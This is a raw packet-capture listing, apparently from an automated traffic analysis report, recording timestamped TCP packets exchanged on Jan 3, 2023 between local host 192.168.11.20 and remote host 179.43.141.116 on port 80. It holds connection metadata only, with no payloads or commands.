                                                                              Jan 3, 2023 08:16:06.413866043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413877964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413889885 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413902044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413903952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413903952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413903952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413903952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413913965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413925886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413938046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413949966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413952112 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413953066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.413961887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413974047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413985968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.413997889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414010048 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414021969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414033890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414051056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414051056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414082050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414093971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414099932 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414099932 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414107084 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414118052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414129972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414141893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414149046 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414154053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414165974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414186954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414206982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414221048 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414232969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414244890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414247036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414247036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414257050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414268970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414280891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414293051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414295912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414295912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414295912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414304972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414318085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414330006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414341927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414354086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414366007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414377928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414390087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414402008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414413929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414426088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414438009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414455891 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414455891 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414463043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414473057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414484024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414494038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414504051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414515018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414525032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414535999 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414546013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414554119 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414554119 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414556026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414566994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414577961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414587975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414598942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414608955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414618969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414629936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414639950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414649963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414650917 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414660931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414670944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414680958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414691925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414700031 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414700031 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414701939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414711952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414722919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414732933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414743900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414756060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414767027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414777040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414788008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414798021 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414798021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414808989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414819956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414829969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414840937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414846897 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414846897 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414850950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414861917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414871931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414882898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414892912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414896011 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414904118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414913893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414925098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414935112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414944887 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.414946079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414956093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414967060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414977074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414988041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.414994001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415043116 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415062904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415065050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415066004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415066004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415066957 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415081978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415091991 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415093899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415103912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415141106 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415189981 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415231943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415232897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415234089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415234089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415287971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415338039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415338039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415385962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415385962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415385962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415405989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415406942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415406942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415407896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415407896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415409088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415409088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415410042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415410042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415410995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415410995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415411949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415411949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415412903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415412903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415414095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415414095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415415049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415415049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415416002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415435076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415484905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415484905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415484905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415533066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415582895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415582895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415582895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415599108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415600061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415600061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415601015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415601015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415601969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415601969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415602922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415602922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415604115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415604115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415605068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415605068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415606022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415606022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415606976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415606976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415607929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415705919 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415767908 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415770054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415770054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415771008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415771008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415771961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415771961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415772915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415772915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415774107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415774107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415775061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415776014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415776014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415776968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415776968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415777922 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415777922 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415826082 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415874958 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415925026 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415925026 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415925026 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.415937901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415939093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415939093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415940046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415940046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415941000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415941000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415941954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415941954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415942907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415944099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415944099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415945053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415945053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.415973902 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416023016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416023016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416023016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416023016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416102886 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416102886 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416105032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416105986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416105986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416106939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416106939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416107893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416107893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416109085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416109085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416110039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416110039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416110992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416117907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.416150093 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416150093 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416248083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416248083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416249037 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416296959 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416347027 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416347027 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416347027 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416347027 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416347027 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416394949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416394949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416444063 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416492939 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416542053 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416542053 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416590929 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416640043 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416688919 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.416688919 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.418279886 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.418920040 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.472290993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472353935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472384930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472413063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472440004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472469091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472476959 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.472496986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472524881 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472552061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472579002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472606897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472615957 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.472615957 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.472634077 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472664118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472708941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472740889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472745895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.472745895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.472769022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472795963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472824097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472830057 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.472851038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472878933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472906113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472917080 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.472933054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472945929 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.472945929 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.472961903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.472990036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473017931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473046064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473066092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.473066092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.473073006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473100901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473114014 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.473128080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473155975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473162889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.473184109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473212004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473212004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.473238945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473265886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473294020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.473318100 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.473318100 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.473452091 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.475375891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475514889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.475636959 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475672960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475702047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475729942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475759029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.475786924 CET8049869179.43.141.116192.168.11.20
